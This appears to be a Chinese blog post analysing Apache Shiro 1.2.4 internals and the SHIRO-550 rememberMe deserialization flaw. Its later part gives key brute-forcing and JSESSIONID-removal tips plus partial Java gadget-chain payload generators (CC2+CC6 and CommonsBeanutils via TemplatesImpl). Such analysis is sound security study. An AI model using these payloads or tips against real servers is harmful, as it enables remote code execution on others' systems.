Shiro是一個(gè)功能強(qiáng)大且易于使用的Java安全框架，提供全面的身份驗(yàn)證、授權(quán)、密碼管理和會(huì)話管理功能。它支持多種認(rèn)證方式，如基于表單、HTTP基本身份驗(yàn)證和RememberMe。授權(quán)模型靈活，可細(xì)粒度限制訪問控制，保護(hù)敏感數(shù)據(jù)和功能。安全會(huì)話管理功能確保會(huì)話安全，包括記住我功能和會(huì)話超時(shí)設(shè)置。無論是Web應(yīng)用還是其他Java應(yīng)用，Shiro都是可靠的選擇，增加應(yīng)用程序的安全性。
【資料圖】
在shiro-core庫中實(shí)現(xiàn)了對認(rèn)證授權(quán)等的抽象，以提供對不同環(huán)境的認(rèn)證和授權(quán)。如shiro-web依賴就是對在shiro-core庫的技術(shù)上進(jìn)行擴(kuò)展實(shí)現(xiàn)web應(yīng)用的認(rèn)證和授權(quán)等。在shiro-core庫中包括SecurityManager，Authenticator，Authoriser，realm，sessionManager等核心組件，具體關(guān)系如下圖所示。
image
從整體看是由SecurityManager管理的，然后認(rèn)證和授權(quán)依賴于底層的realm從不同的途徑獲取對應(yīng)數(shù)據(jù)。整個(gè)過程過程中的加密算法是由Cryptography完成的，在shiro中默認(rèn)支持的加密算法有MD5/Hash/AES/RSA等。最后由sessionManager進(jìn)行會(huì)話管理，同時(shí)還有session緩存等機(jī)制支持。
環(huán)境搭建這里可以直接直接把官網(wǎng)的項(xiàng)目拉下來使用。
git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4 //切換到1.2.4版本
打開后需要修改shiro/samples/web/pom.xml路徑下jstl的依賴版本，否則會(huì)出現(xiàn)jsp解析報(bào)錯(cuò)。
image
最后配置好tomcat，然后選擇對應(yīng)項(xiàng)目就可以跑起來了。
image
image
源碼分析入口點(diǎn)shiro與web應(yīng)用是通過一個(gè)過濾器綁定的，在web.xml中就可以看到。
image
所有的請求都將被ShiroFilter攔截，同時(shí)在過濾器之前還有一個(gè)listener，它在filter之前被初始化，它的作用就是為ShiroFilter初始化提供web環(huán)境的依賴對象。
ShiroFilter初始化ShiroFilter是Filter的子類，由于它的匹配規(guī)則是/*，所以所有的請求都會(huì)被他處理。先來看一下它的繼承關(guān)系。
image
首先找到對應(yīng)的初始化方法org.apache.shiro.web.servlet.AbstractFilter#init。
public final void init(FilterConfig filterConfig) throws ServletException { setFilterConfig(filterConfig); try { onFilterConfigSet(); } catch (Exception e) {......}public void setFilterConfig(FilterConfig filterConfig) { this.filterConfig = filterConfig; setServletContext(filterConfig.getServletContext());//設(shè)置servletContext}
其中的參數(shù)FilterConfig是由調(diào)用者ApplicationFilterConfig初始化時(shí)傳遞的自身，每一個(gè)filter都由ApplicationFilterConfig來管理最后存放在StandardContext#filterConfigs中。具體filter初始化的代碼就不再深入了，有興趣的同學(xué)可以再去結(jié)合tomcat的源碼看看，有助于后面學(xué)習(xí)通過shiro注入filter內(nèi)存碼。
protected final void onFilterConfigSet() throws Exception { //added in 1.2 for SHIRO-287: applyStaticSecurityManagerEnabledConfig();//安全配置檢查是否使用靜態(tài)安全管理器 init(); ensureSecurityManager();//檢查securitymanager，否則初始化DefaultWebSecurityManager //added in 1.2 for SHIRO-287: if (isStaticSecurityManagerEnabled()) { SecurityUtils.setSecurityManager(getSecurityManager()); }}public void init() throws Exception { WebEnvironment env = WebUtils.getRequiredWebEnvironment(getServletContext()); setSecurityManager(env.getWebSecurityManager()); FilterChainResolver resolver = env.getFilterChainResolver(); if (resolver != null) { setFilterChainResolver(resolver); }}
這里才調(diào)用了ShiroFilter#init方法，首先從servletContext中獲取WebEnvironment對象，這個(gè)對象是在前面配置的listener初始化時(shí)創(chuàng)建的。同時(shí)初始化了securityManager對象，最后從WebEnvironment中獲取SecurityManager以及FilterChainResolver(內(nèi)置過濾器)。
WebEnvironment創(chuàng)建在前面的web.xml配置文件中可以看到除了filter之外還配置了一個(gè)EnvironmentLoaderListener，在初始化時(shí)就會(huì)調(diào)用其父類的EnvironmentLoader#initEnvironment方法。
image
前面看到在EnvironmentLoaderListener初始化中創(chuàng)建了WebEnvironment對象，調(diào)用了createEnvironment方法。
protected WebEnvironment createEnvironment(ServletContext sc) { Class clazz = determineWebEnvironmentClass(sc);.... MutableWebEnvironment environment = (MutableWebEnvironment) ClassUtils.newInstance(clazz); environment.setServletContext(sc);... customizeEnvironment(environment); LifecycleUtils.init(environment); return environment;}protected Class determineWebEnvironmentClass(ServletContext servletContext) { String className = servletContext.getInitParameter(ENVIRONMENT_CLASS_PARAM); if (className != null) { try { return ClassUtils.forName(className); } catch (UnknownClassException ex) { throw new ConfigurationException( "Failed to load custom WebEnvironment class [" + className + "]", ex); } } else { return IniWebEnvironment.class; }}
在創(chuàng)建WebEnvironment是也會(huì)首先查找servletcontext中是否自定義配置，默認(rèn)使用IniWebEnvironment，及使用ini配置文件初始化securitymanager。然后初始化默認(rèn)的內(nèi)置過濾器。
public void init() { Ini ini = getIni();...... setIni(ini); configure();}protected void configure() { this.objects.clear(); WebSecurityManager securityManager = createWebSecurityManager();//創(chuàng)建默認(rèn)wsm setWebSecurityManager(securityManager); FilterChainResolver resolver = createFilterChainResolver();//初始化默認(rèn)過濾器 if (resolver != null) { setFilterChainResolver(resolver); }}
最后WebEnvironment的初始化結(jié)束調(diào)用servletContext.setAttribute(ENVIRONMENT_ATTRIBUTE_KEY, environment)設(shè)置到ApplicationContext的attributes屬性中，最后在ShiroFilter初始化時(shí)就會(huì)獲取該對象中的WebEnvironment和FilterChainResolver。
ShiroFilter過濾器上面分析了ShiroFilter的初始化的過程，下面就來看看在我們shiro框架下的web應(yīng)用是怎么實(shí)現(xiàn)安全訪問控制的。
首先從OncePerRequestFilter#doFilter方法入手，他是Filter接口中定義的方法。在tomcat處理完請求的封裝時(shí)在就會(huì)依次調(diào)用所有注冊的filter的doFilter方法。
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException { String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName(); if ( request.getAttribute(alreadyFilteredAttributeName) != null ) { filterChain.doFilter(request, response);//防止同一個(gè)過濾器調(diào)用兩次 } else //noinspection deprecation if ( !isEnabled(request, response) || shouldNotFilter(request) ) { filterChain.doFilter(request, response); } else { request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE); try { doFilterInternal(request, response, filterChain); } finally { request.removeAttribute(alreadyFilteredAttributeName); } }}
然后，回調(diào)用父類的AbstractShiroFilter#doFilterInternal方法。
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException { Throwable t = null; try { final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain); final ServletResponse response = prepareServletResponse(request, servletResponse, chain); final Subject subject = createSubject(request, response); //noinspection unchecked subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain); return null; } }); } catch (ExecutionException ex) { t = ex.getCause(); } catch (Throwable throwable) { t = throwable; }...}
在這個(gè)方法里面首先對tomcat中的request和response對象重寫進(jìn)行了封裝，然后主要代碼如下：
final Subject subject = createSubject(request, response);//由securitymanager創(chuàng)建subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain);//匹配請求URL執(zhí)行內(nèi)置過濾器 return null; }});
首先來看創(chuàng)建subject的過程。
由于這是web環(huán)境，所有在shiro-web里面重寫了WebSubject繼承subject，以及其內(nèi)部的builder靜態(tài)內(nèi)部類。
image
在創(chuàng)建過程中先初始化了WebSubject.Builder類，然后調(diào)用Builder.buildSubject，最后調(diào)用了SecurityManager#createSubject，其中 的subjectContext是在Builder初始化時(shí)創(chuàng)建的DefaultSubjectContext類，這個(gè)類負(fù)責(zé)處理本次會(huì)話的上下文對象，它的本質(zhì)是一個(gè)Hashmap。
image
在初始化結(jié)束時(shí)默認(rèn)存在如下對象：
image
在DefaultSecurityManager#createSubject(SubjectContext)中首先克隆了一個(gè)context對象，然后依次檢查其中的securitymanger，session，PrincipalCollection對象，如果不存在則創(chuàng)建并添加，最后再以這個(gè)context創(chuàng)建subject對象。
public Subject createSubject(SubjectContext subjectContext) { SubjectContext context = copy(subjectContext); context = ensureSecurityManager(context); context = resolveSession(context); context = resolvePrincipals(context); Subject subject = doCreateSubject(context); save(subject); return subject;}
其中shiro550漏洞就是在resolvePrincipals時(shí)觸發(fā)的。我們可以簡單跟進(jìn)看一下。
protected SubjectContext resolvePrincipals(SubjectContext context) { PrincipalCollection principals = context.resolvePrincipals(); if (CollectionUtils.isEmpty(principals)) { principals = getRememberedIdentity(context); if (!CollectionUtils.isEmpty(principals)) { context.setPrincipals(principals); } else { } } return context; }
前面代碼邏輯還是差不多的，先從context中獲取principal對象，然后檢查是是否為空，如果為空則調(diào)用getRememberedIdentity創(chuàng)建然后設(shè)置到context中，否則直接返回，所以如果要觸發(fā)反序列化這里必須要為空。我們跟進(jìn)resolvePrincipals方法中看一下。
public PrincipalCollection resolvePrincipals() { PrincipalCollection principals = getPrincipals(); if (CollectionUtils.isEmpty(principals)) { AuthenticationInfo info = getAuthenticationInfo(); if (info != null) { principals = info.getPrincipals(); } } if (CollectionUtils.isEmpty(principals)) { Subject subject = getSubject(); if (subject != null) { principals = subject.getPrincipals(); } } if (CollectionUtils.isEmpty(principals)) { Session session = resolveSession(); if (session != null) { principals = (PrincipalCollection) session.getAttribute(PRINCIPALS_SESSION_KEY); } } return principals;}
這個(gè)方法就和前面的resolveSession有點(diǎn)不太一樣了，他第一次調(diào)用了getPrincipals如果為空還從其地方也獲取了相關(guān)對象來構(gòu)建principals，可以看到最后也獲取了session對象。如果前面已經(jīng)設(shè)置了session對象，那么這里返回的就一定不會(huì)是null，最后就不會(huì)調(diào)用rememberMe導(dǎo)致反序列化。所以我們在利用shiro反序列化時(shí)一定要?jiǎng)h除cookie中的JSESSIONID字段。
最后使用context創(chuàng)建對應(yīng)環(huán)境的subject對象，這個(gè)對象是shiro框架對開發(fā)者使用的一個(gè)接口對象，在登錄及認(rèn)證授權(quán)時(shí)都是調(diào)用的該對象，由他內(nèi)部再去調(diào)用securitymanager對象的操作。
最后回到AbstractShiroFilter#doFilterInternal中，調(diào)用了Subject#execute(java.util.concurrent.Callable)方法，傳入了updateSessionLastAccessTime和executeChain方法。這里如果直接跟進(jìn)這兩個(gè)方法回錯(cuò)過一個(gè)細(xì)節(jié)，就是將subject對象設(shè)置打ThreadLocal中，但由于這個(gè)和shiro中的漏洞關(guān)系不大就不再跟進(jìn)分析了。
updateSessionLastAccessTime方法沒什么用就不說了，下面跟進(jìn)executeChain說一下shiro中的路徑匹配。
image
在這個(gè)方法里面就分兩步，第一步根據(jù)request獲取對應(yīng)的過濾器，然后第二部執(zhí)行過濾方法。
protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) { FilterChain chain = origChain; FilterChainResolver resolver = getFilterChainResolver(); if (resolver == null) {... return origChain; } FilterChain resolved = resolver.getChain(request, response, origChain);... return chain;}public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = getFilterChainManager(); if (!filterChainManager.hasChains()) { return null; } String requestURI = getPathWithinApplication(request); for (String pathPattern : filterChainManager.getChainNames()) { if (pathMatches(pathPattern, requestURI)) { return filterChainManager.proxy(originalChain, pathPattern); } } return null;}
首先獲取FilterChainResolver對象，這個(gè)對象就是在WebEnvironment創(chuàng)建時(shí)初始化的，然后在ShiroFilter初始化時(shí)設(shè)置到該類的屬性中。然后根據(jù)請求URL匹配對應(yīng)的過濾器，最后創(chuàng)建一個(gè)filterChain的靜態(tài)代理類。其中shiro權(quán)限繞過的原因主要就是由于路徑匹配時(shí)匹配到了錯(cuò)誤的過濾器或未匹配到shiro內(nèi)置的過濾器，導(dǎo)致繞過shiro的過濾器檢查，但其請求URL被tomcat過濾器處理后仍然能獲取對應(yīng)的資源。
SHIRO-550源碼分析上面分析了shiro框架的大概流程，在介紹DefaultSecurityManager#createSubject(SubjectContext)中創(chuàng)建Principal時(shí)就會(huì)對cookie中的rememberMe解析并反序列化。下面就從這開始進(jìn)行深入分析。
首先進(jìn)入org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity方法。
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) {...... } } return null;}public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals;}
其中g(shù)etRememberedSerializedIdentity方法主要是獲取rememberMe的值并進(jìn)行base64解密，然后convertBytesToPrincipals對base64解密后的值進(jìn)行AES解密并反序列化。注意這里的異常捕獲，先提一下后面再回來分析。我們繼續(xù)跟進(jìn)convertBytesToPrincipals方法。
image
這個(gè)方法里面也分兩步，第一步對字節(jié)數(shù)組進(jìn)行AES解密，第二步進(jìn)行反序列化。
image
在解密時(shí)就會(huì)獲取AES密鑰，由于這個(gè)密鑰在對象構(gòu)造函數(shù)中初始化為了默認(rèn)密鑰，導(dǎo)致攻擊者可以根據(jù)密鑰進(jìn)行偽造惡意的反序列化數(shù)據(jù)進(jìn)行代碼執(zhí)行。
我們再來看反序列化的方法。
image
這里調(diào)用了readObject方法導(dǎo)致反序列化，注意這里的調(diào)用類并不直接是ObjectInputStream對象，而是自定義的一個(gè)繼承ObjectInputStream的類，并重寫了resolveClass方法。
image
在原生java反序列化底層代碼中該方法的作用是根據(jù)其讀取到完全限定名調(diào)用Class.forName()進(jìn)行類加載獲取對應(yīng)的Class對象。這里重寫該方法主要是為了使用指定的類加載器來進(jìn)行類加載，因?yàn)樵趖omcat中打破了雙親委派的機(jī)制都是使用的自定義類加載進(jìn)行類加載，我們跟進(jìn)該方法也可以看到它首先就從進(jìn)程中獲取了不同的類加載器進(jìn)行類加載。
public static Class forName(String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } return clazz;}
正是由于這里自定義了類加載器，主要都是通過類名然后去找對應(yīng)的class文件，然后通過defineclass進(jìn)行類加載。但是由于java中數(shù)組的類對象是由jvm創(chuàng)建的，沒有對應(yīng)的class文件，導(dǎo)致在利用時(shí)反序列化數(shù)組對象時(shí)回拋出如下異常。這也是在shiro中利用cc鏈的一大限制，但并不是主要原因，其他原因在后面分析利用鏈時(shí)再說。
image
剛剛為了使整個(gè)分析流程更加順暢，所以沒有提DefaultSecurityManager#getRememberedIdentity方法中拋出的異常。
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) { forgetIdentity(context); throw e;}public void forgetIdentity(SubjectContext subjectContext) { if (WebUtils.isHttp(subjectContext)) { HttpServletRequest request = WebUtils.getHttpRequest(subjectContext); HttpServletResponse response = WebUtils.getHttpResponse(subjectContext); forgetIdentity(request, response); }}private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) { getCookie().removeFrom(request, response);}
從上面的調(diào)用鏈跟蹤最后來到SimpleCookie#removeFrom，在這添加了一個(gè)cookie為rememberMe=deleteMe，這也是識(shí)別shiro框架的特征。同時(shí)看整個(gè)異常的位置是在base64解密之前，就是從base64解密開始后面的AES解密以及反序列化過程只要拋出了沒有被處理的異常最后都會(huì)被捕獲，設(shè)置rememberMe=deleteMe。
image
上面是rememberMe的解密過程，下面簡單說一下它在登錄認(rèn)證過程中是如何產(chǎn)生的。
在后端對登錄請求的處理一般都會(huì)先調(diào)用SecurityUtils#getSubject獲取對應(yīng)的subject，然后調(diào)用login方法，傳入由username和password初始化的AuthenticationToken對象。
image
在認(rèn)證成功后就會(huì)創(chuàng)建一個(gè)principals然后加密返回給客戶端。
上面對整個(gè)流程進(jìn)行了粗略的分析，可以了解到在正常流程中rememberMe的值就是PrincipalCollection對象序列化數(shù)據(jù)的加密后的值。所以我們在爆破key的時(shí)候就可以利用整個(gè)對象，但由于它是一個(gè)接口，所以我們一般都會(huì)利用他的子類SimplePrincipalCollection進(jìn)行爆破，然后根據(jù)返回結(jié)果中是否含有deleteMe判斷密鑰是否正確。
image
利用鏈在前面分析中找到了ObjectInputStream#readObject的調(diào)用點(diǎn)，我們利用還需要找到能利用的反序列化鏈，我們前面了解了CC鏈，以及URLDNS等。如果直接嘗試CC鏈可能會(huì)出現(xiàn)如下報(bào)錯(cuò)：
image
因?yàn)樵趕hiro默認(rèn)的依賴中不好看CC依賴，導(dǎo)致無法反序列化，然后我們補(bǔ)上CC依賴后再打可能又會(huì)遇到下面的報(bào)錯(cuò)，Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;]，這就是由于無法創(chuàng)建Transformer數(shù)組導(dǎo)致的。所以在打CC依賴的時(shí)候必須要找一條不包含數(shù)組的鏈，這個(gè)的原因在上面也說了。
image
最后在原來的CC鏈的基礎(chǔ)少結(jié)合CC2+CC6得出下面這條鏈。
public Object getPayload(String[] args) throws Exception { TemplatesImpl templatesImpl = new TemplatesImpl(); Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesImpl, "123"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get(args[0])); byte[][] codes = new byte[][]{code}; bytecodesField.set(templatesImpl, codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templatesImpl, new TransformerFactoryImpl()); Field auxClassesField = templatesClass.getDeclaredField("_auxClasses"); auxClassesField.setAccessible(true); auxClassesField.set(templatesImpl, (Object)null); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); Map
或者直接用依賴commons-collections4的CC2也可以。
上面這種方式是需要我們補(bǔ)依賴環(huán)境的，在實(shí)戰(zhàn)中這種方式就會(huì)有一定的限制，所以我們在shiro中更多的是使用的它自帶的CB鏈去利用。在前面學(xué)習(xí)CC鏈的時(shí)候了解到TemplatesImpl這個(gè)類，在這個(gè)類里面自定義了類加載器，只要調(diào)用TemplatesImpl#newTransformer就可以觸發(fā)類加載。我們繼續(xù)回溯找到了TrAXFilter的構(gòu)造函數(shù)中調(diào)用了該方法，另外還有TemplatesImpl#getOutputProperties中也調(diào)用了newTransformer，其中CB鏈就是用的后面這個(gè)點(diǎn)。
可以看到getOutputProperties是一個(gè)getter方法，在commons-beanutils中有一個(gè)調(diào)用任意對象getter的方法org.apache.commons.beanutils.PropertyUtils#getProperty(Object bean, String name),它在org.apache.commons.beanutils.BeanComparator#compare中被調(diào)用，且參數(shù)可控，所以再結(jié)合前面CC鏈的部分最后得出下面的CB鏈。
public Object getPayload(String[] args) throws Exception { TemplatesImpl templatesImpl = new TemplatesImpl(); Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesImpl, "123"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get(args[0])); byte[][] codes = new byte[][]{code}; bytecodesField.set(templatesImpl, codes); Field auxClassesField = templatesClass.getDeclaredField("_auxClasses"); auxClassesField.setAccessible(true); auxClassesField.set(templatesImpl, (Object)null); BeanComparator beanComparator = new BeanComparator(); beanComparator.setProperty("outputProperties"); PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add(1); priorityQueue.add(1); Class
最后也同樣實(shí)現(xiàn)了命令執(zhí)行。
image
總結(jié)以上就是關(guān)于shiro反序列化的所有分析了，雖然在1.2.4之后shiro就采用了自定義密鑰或者隨機(jī)生成密鑰，但真正反序列點(diǎn)還是沒有改變，如果存在密鑰泄露依然可以導(dǎo)致反序列化。
參考資料Shiro反序列化漏洞(一)-shiro550流程分析-白日夢組長
Tomcat源碼初識(shí)一 Tomcat整理流程圖
標(biāo)簽：
